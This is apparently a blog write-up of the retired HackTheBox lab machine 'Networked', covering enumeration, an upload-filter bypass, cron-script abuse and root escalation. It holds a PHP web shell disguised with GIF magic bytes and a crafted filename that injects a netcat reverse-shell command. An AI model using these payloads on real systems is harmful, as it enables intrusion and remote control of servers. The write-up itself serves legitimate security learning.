HackTheBox - Networked

Summary

Networked,a Linux box created by HackTheBox user guly, was an overall easy difficulty box. It had a backup.zip which was exposed and contain the code of upload code with which we were able bypass the upload and get the RCE and get shell as www-data. enumerating we see a cronjob using which we can get the user and later enumerating that user we find user can run changename.sh without password using which we can get root.

Enumeration

nmap scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Nmap 7.70 scan initiated Sun Aug 25 10:57:19 2019 as: nmap -sC -sV -oN nmap/network 10.10.10.146
Nmap scan report for 10.10.10.146
Host is up (0.14s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 25 10:57:39 2019 -- 1 IP address (1 host up) scanned in 20.30 seconds

we only see port 22 and port 80 is opened so we start enumerating port 80

Enumerating port 80 with gobuster we find

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.146/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2019/08/25 10:58:32 Starting gobuster
===============================================================
/index.php (Status: 200)
/uploads (Status: 301)
/photos.php (Status: 200)
/upload.php (Status: 200)
/lib.php (Status: 200)
/backup (Status: 301)

opening upload.php we see an upload form to upload a image and photos.php shows the image we upload.

opening the backup route we see that there is a backup.zip which contain the code of all the php(s)

going through the upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
require '/var/www/html/lib.php';

define("UPLOAD_DIR", "/var/www/html/uploads/");

if( isset($_POST['submit']) ) {
if (!empty($_FILES["myFile"])) {
$myFile = $_FILES["myFile"];

if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
echo '<pre>Invalid image file.</pre>';
displayform();
}

if ($myFile["error"] !== UPLOAD_ERR_OK) {
echo "<p>An error occurred.</p>";
displayform();
exit;
}

//$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];
list ($foo,$ext) = getnameUpload($myFile["name"]);
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
$valid = true;
}
}

if (!($valid)) {
echo "<p>Invalid image file</p>";
displayform();
exit;
}
$name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;

$success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name);
if (!$success) {
echo "<p>Unable to save file.</p>";
exit;
}
echo "<p>file uploaded, refresh gallery</p>";

// set proper permissions on the new file
chmod(UPLOAD_DIR . $name, 0644);
}
} else {
displayform();
}
?>

we see that we can bypass the upload image and upload our shell to get a RCE. to do that we have to bypass ```php
check_file_type($_FILES[“myFile”]) && filesize($_FILES[‘myFile’][‘tmp_name’]) < 60000

1
2
3
to do that we can but the magic byte of `GIF` which is `GIF89a;` and also bypass the  
```php
if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0)

this we can do by keeping a .jpg or .gif as the extention and as it is checking in the entire file name and not just $ext.

so we create a payload as

1
2
3
4
GIF89a;
<?
system($_GET['cmd']);//or you can insert your complete shell code
?>

which give us RCE using this we can get a reverse shell as www-data

Getting User.

After enumerating home directory of user guly we see that a php script is running as a cronjob which could be used to gain shell as that user. Lets look at code check_attack.php.

We see that it scans for files in upload and validates ip. If file is malicious it removes the file, but we notice that it directly copies the filename without " quotes so if we create a file with name as ; nc <ip> port -c bash than the actual command executed by script would be as the command now looks like

1
nohup /bin/rm -f $path; nc <ip> port -c bash > /dev/null 2>&1 &

And we wait for reverse shell and grab user.txt.

Privilege Escalation

We check for the privileges that user have. We see that it have permission to run changename.sh script as root without password. We look at the code of the script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var:"
read x
while [[ ! $x =~ $regexp ]]; do
echo "wrong input, try again"
echo "interface $var:"
read x
done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done

/sbin/ifup guly0

It is a simple script that takes the values from input and create a network interface file and then use ifup command. But problem in the script is it white-lists a space(“ “) in validating input so we can enter values like hello world for any parameter and when the ifup command is executed, it runs the created file as a bash script importing the variables from it. But the bash file treats anything followed by space as a command so providing input like hello bash for any variable executes bash command, which eventually gives us root shell.

using which we can grab root.txt and we have pwned networked.

Author: Shubham Kumar
Link: https://f3v3r.in/htb/machines/retired/networked/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.